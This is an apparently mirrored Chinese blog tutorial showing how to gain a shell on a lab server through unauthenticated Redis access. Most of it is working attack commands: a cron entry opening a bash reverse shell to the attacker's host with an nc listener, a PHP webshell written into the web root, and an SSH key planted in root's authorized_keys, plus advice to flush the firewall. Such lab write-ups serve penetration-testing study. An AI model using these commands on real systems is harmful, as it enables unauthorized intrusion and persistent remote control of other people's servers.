zoukankan      html  css  js  c++  java
  • Redis 未授权访问 getshll

    Redis 未授权访问


    靶机:centos 6.5
    攻击机:kali 2020

    安装 Redis

    下载安装包进行安装

    wget http://download.redis.io/releases/redis-3.2.0.tar.gz
    tar xzf redis-3.2.0.tar.gz
    cd redis-3.2.0
    make
    

    修改配置文件,使可以远程访问

    vim redis.conf
    bind 127.0.0.1前面加上#号 protected-mode设为no 启动redis-server
    ./src/redis-server redis-conf
    
    将protected-mode 修改为 no,默认为yes 开启保护模式
    将bind 127.0.0.1注释掉 或改为0.0.0.0 允许外部访问
    

    默认的配置是使用6379端口,没有密码。这时候会导致未授权访问然后可以使用 Redis 权限进行写文件或修改计划任务等操作。

    kali 安装 redis-cli

    下载 redis-cli
    wget http://download.redis.io/redis-stable.tar.gz

    解压缩
    tar -zxvf redis-stable.tar.gz

    进入目录安装

    cd redis-stable/
    make
    sudo cp src/redis-cli /usr/bin/
    

    常规使用指令
    redis-cli -h 目标主机IP地址 -p 端口号

    Redis 常见 getshell 方法

    1. 反弹 shell
    garden@guess:~/Desktop/redis-stable$ redis-cli -h 192.168.216.129
    192.168.216.129:6379> set x "
    * * * * * bash -i >& /dev/tcp/192.168.216.128/1998 0>&1
    "
    OK
    192.168.216.129:6379> CONFIG SET dir /var/spool/cron/
    OK
    192.168.216.129:6379> config set dbfilename root
    OK
    192.168.216.129:6379> save
    OK
    

    接着攻击机执行,等一下就会反弹 shell 回来

    nc -lvvp 1998
    

    reverse shell.png

    1. 写入 webshell
    192.168.216.129:6379> CONFIG SET dir /var/www/html
    OK
    192.168.216.129:6379> config set dbfilename shell.php
    OK
    192.168.216.129:6379> set x "
    
    <?php phpinfo(); ?>
    
    "
    OK
    192.168.216.129:6379> save
    OK
    

    代表换行,redis写入的文件会自带一些版本信息,所以要换行,否则可能运行失败
    phpinfo.png

    1. 写入 SSH 密钥
      当redis以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录目标服务器。
      攻击机生成 ssh 公钥和私钥,并且格式化写入 redis
    ssh-keygen -t rsa
    (echo -e "
    
    ;" cat id_rsa.pub; echo -e "
    
    ") > 1.txt
    cat 1.txt | redis-cli -h 192.168.216.129 -x set x
    

    连接 redis 服务:redis-cli -h 192.168.216.129

    192.168.216.129:6379> CONFIG GET dir
    1) "dir"
    2) "/redis-3.2.0"
    192.168.216.129:6379> CONFIG set dir /root/.ssh
    OK
    192.168.216.129:6379> CONFIG GET dbfilename
    1) "dbfilename"
    2) "dump.rdb"
    192.168.216.129:6379> CONFIG set dbfilename authorized_keys
    OK
    192.168.216.129:6379> save
    OK
    

    在攻击机上使用ssh免密登录靶机:ssh -i id_rsa root@192.168.216.129

    ps:

    1. 安装 Redis 时可能会报错: /bin/sh: cc: command not found
      解决方案
    sudo yum -y install gcc gcc-c++ libstdc++-devel 
    make MALLOC=libc
    

    或者

    make distclean
    make
    
    1. kali 无法扫描到靶机开放端口
      cant scan.png
      用 ping 指令或者 nmap 等端口探测无法探测到开放的 6379 端口,可能是 centos 本身自带的iptable 进行了拦截,运行如下指令关闭 iptable
      sudo iptables -F
      生产环境不要这样设置

    2. 报错 Fatal error, can't open config file 'restart'
      重启 Redis 的时候报错
      ps -ef | grep -i redis
      kill -9 进程号
      再重新启动一下就好了
      ./src/redis-server redis-conf

  • 相关阅读:
    jmeter压测学习12-设置持续压测时间(调度器的使用)
    jmeter压测学习11-模拟浏览器访问web页面
    pytest文档73-pytest+yaml实现接口自动化框架之用例参数关联
    selenium+python自动化101-使用execute_script() 方法获取 JavaScript 返回值
    pytest文档72- 使用 template 替换 yaml 文件的变量
    pytest文档71-pytest+yaml实现接口自动化框架
    容器一直处于Create状态
    CAS原理与协议
    Linux route命令详解和使用示例(查看和操作IP路由表)
    Linux reboot全过程
  • 原文地址:https://www.cnblogs.com/w0x68y/p/13692374.html
Copyright © 2011-2022 走看看